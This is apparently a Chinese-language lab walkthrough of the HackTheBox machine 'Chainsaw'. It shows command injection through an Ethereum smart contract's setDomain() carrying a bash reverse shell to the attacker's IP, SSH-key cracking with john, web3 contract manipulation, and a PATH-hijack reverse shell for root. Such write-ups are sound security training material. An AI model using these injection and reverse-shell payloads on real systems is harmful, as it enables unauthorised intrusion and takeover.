**
HackTheBox-Linux-Chainsaw-Walkthrough
**
靶机地址:https://www.hackthebox.eu/home/machines/profile/192
靶机难度:高级(5.0/10)
靶机发布日期:2019年10月8日
靶机描述:
Chainsaw is a Hard Linux machine with various components in place. The server is running an Ethereum node, which is used to store and retrieve data. This can be modified by an attacker to set malicious data on the latest block and get code execution. The box contains an installation of IPFS ( Interplanetary File System ), and further enumeration reveals that it contains an encrypted SSH key, which can be cracked to gain lateral movement. This user has execute permissions on a SUID file, which interacts with another node running on localhost. This is exploited in a similar way as earlier to get a root shell.
作者:大余
时间:2020-07-17
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集
可以看到靶机的IP是10.10.10.142…
我这里利用Masscan快速的扫描出了21,22,9810端口,在利用nmap详细的扫描了三个端口信息,21可匿名登录,9810是http服务等…
匿名登录发现三个文件…全都下载到本地…
address.txt 包含一个十六进制字符串…
上面的源代码似乎是Solidity版本0.4.24进行编写的,该版本表示建立在以太坊技术之上的简单智能合约(就是区域链技术),代码中getDomain()返回存储变量的值(在这种情况下,初始值为“ google.com ”)和setDomain(),可以覆盖该值…
WeaponizedPing.json以JSON格式保存智能合约的配置文件,而address.txt是地址值,以唯一地标识由计算机程序生成的合约,可以在其中获取或设置存储数据…
基于源代码的功能及其名称WeaponizedPing,它可能是ping服务,也可能不是ping服务,用于测试域或IP地址是否可以访问,试试…
https://solidity.readthedocs.io/en/v0.4.24/contracts.html
https://www.dappuniversity.com/articles/web3-py-intro
google很多文章都讲解了区域链和以太坊等知识…这两篇文章很好讲解了web3技术和以太坊解释…
http://remix.ethereum.org/#optimize=false&evmVersion=null&appVersion=0.7.7&version=soljson-v0.5.1+commit.c8a2cb62.js
这是以太坊的浏览页面,里面也可以测试…
命令:
apt-get install python3-venv
python3 -m venv venv
. venv/bin/activate
pip install web3
先安装好web3…
命令:
tcpdump -i tun0 -n
contract.functions.getDomain("10.10.14.51").transact()
测试,我设置tcpdump为侦听tun0任何ICMP流量,在另一个终端中,运行了ping命令…成功的,那下一步插入shell即可
命令:contract.functions.setDomain("10.10.14.51; bash -c 'bash -i >& /dev/tcp/10.10.14.51/6666 0>&1'").transact()
插入简单的shell,获得了administrator用户的外壳…
发现了ipfs,.ipfs管理员主目录中还有一个文件夹…
google解释到InterPlentary文件系统或IPFS是一种点对点的分布式文件系统协议,它可以将其他人的计算机用作云存储…
命令:grep -r bobby .
我要提权bobby,查找了有关bobby的用户信息…
可看到提到bobbyaxelrod600@protonmail.chd的有.ipfs/blocks/OY/CIQG3CRQFZCTN…查看它
命令:cat ./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data
可看到这是电子邮件信息,前面是对话,后面包含了base64值,很熟悉了…前面靶机经常遇到pop3或者电子邮件破译都是一样的风格…base64
下面也是…全都给我复制到本地base64转储…
第一段base64转储后是一段邮件对话…说下面的ssh登录等凭证问题…第二段base64是ssh-key,还包含了密匙…
转储成爆破key的文件…
这里很熟悉了,利用john开膛手爆破获得了密码…别忘了ssh2john解析…
然后利用key和密码成功登录bobby用户,并获得了user_flag信息…
方法1:
在bobby用户下还存在两个文件夹,进入后发现,又是和开始9810端口http服务一样的概念!!!!
传输到本地在说…
通过scp传输到本地…可看到还有个隐藏的文件address.txt也传出来了…
那么根据前面提administrator用户的思路,目前有了address值,还需要知道HTTP的端口和地址…前面是靶机IP+9810…
这里通过ss发现了本地开放了63991端口,应该就是它了,或者利用netstat都可以查看…
由于是本地开放的服务,我利用了ssh端口映射到了本地kali上…
访问后,和http:9810一样的性质…也是400 bad request…
这里前面的性质是一样的,但是后面还是得看ChainsawClub.sol参考进行!!!
可以查看到add的值,sol中提示了几个信息…有:getUsername,getPassword,getApprove,getSupply,getBalance信息,意思就是这几个都要修改,不然应该是过不去ChainsawClub程序的…开始
和前面方法一样…后面才是重点,继续…
这里输出是get格式,别和前面的方法搞错了…前面输出的是google,这里输出的是bobby…
这里意思是输出的用户名是bobby…
下一步我们打算修改该用户名…
命令:contract.functions.setUsername("用户名").transact()
成功修改用户名为dayu…
经过自己的摸索,可看到修改passwd报错了…一堆数值…不清楚为啥崩溃了…
然后查看了后面的sup、balan、app等,approve返回的是false…
右边的框框也是user错误…等报错…
可能是passwd没修改成功,或者是app的false需要修改为ture…继续测试
命令:
from web3 import Web3, HTTPProvider
import json
contract_address = '0x422F1115Bf13A733191Fc9fbD2D1e9F1475264D7'
contract_data = json.loads(open("ChainsawClub.json", "r").read())
abi = contract_data['abi']
w3 = Web3(HTTPProvider('http://127.0.0.1:63991'))
w3.eth.accounts
w3.eth.accounts[0]
w3.eth.defaultAccount = w3.eth.accounts[0]
contract = w3.eth.contract(abi=abi, address=contract_address)
contract
contract.functions.getUsername().call()
contract.functions.setUsername("dayuxi").transact()
contract.functions.getUsername().call()
import hashlib
md5_hash = hashlib.md5()
plaintext = "dayuxiyou"
md5_hash.update(plaintext.encode('utf-8'))
passw = md5_hash.hexdigest()
contract.functions.setPassword(passw).transact()
Password = contract.functions.getPassword().call()
contract.functions.transfer(1000).transact()
balance = contract.functions.getBalance().call()
contract.functions.getApprove().call()
contract.functions.getSupply().call()
contract.functions.getBalance().call()
这里我重新测试了20多遍了吧…无限修改代码…
这是最终的成功的…
修改用户名–修改密码–修改APP为Ture–修改Balan和supply值(颠倒即可)
成功修改成功,用创建的用户名密码成功登录程序,并获得了root权限…
这里有点奇怪,为什么程序直接运行获得了root权限?我又开始了一番研究思考…先放着…后面继续补充
先解决root_flag无法读取问题…
经过google强大的搜索,发现Linux上的bmap命令可用于将数据隐藏在内存块的空闲空间中,空闲空间是一块内存中的空白空间,没有被数据完全填充,由于无法正常访问,因此该空间可用于隐藏数据…可利用bmap进行读取
命令:bmap --mode slack root.txt
成功读取到了隐藏信息…
获得了root_flag信息…
方法2:
可看到调用sudo时没有完整路径,但具有root权限…
这意味着在创建我们自己的sudo文件并修复路径时,将使用root特权(即root shell)来调用它…
命令:
#!/bin/bash
bash -i &> /dev/tcp/10.10.14.51/7777 0>&1
chmod +x dayu
export PATH=./:$PATH
可看到简单的修改下shell和配置即可…
成功获得了root权限外壳…
后面获得flag方法一致…
又是一台知识盲区…
google很多Solidity编写的以太坊,区域链的文章…
通过反复的两次提权都遇到了该方法的原理和编程方法…
开始只是朦胧的懂,通过第二次提root反复失败在成功后的经验,有一些熟悉该方法了…
遇到问题google,google,google解决不了的,休息一段时间在google…
总会解决的,当然求人是可遇不可求的,我一般不会问人问题,除非疑难杂症…
加油
由于我们已经成功得到root权限查看user和root.txt,因此完成这台高级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。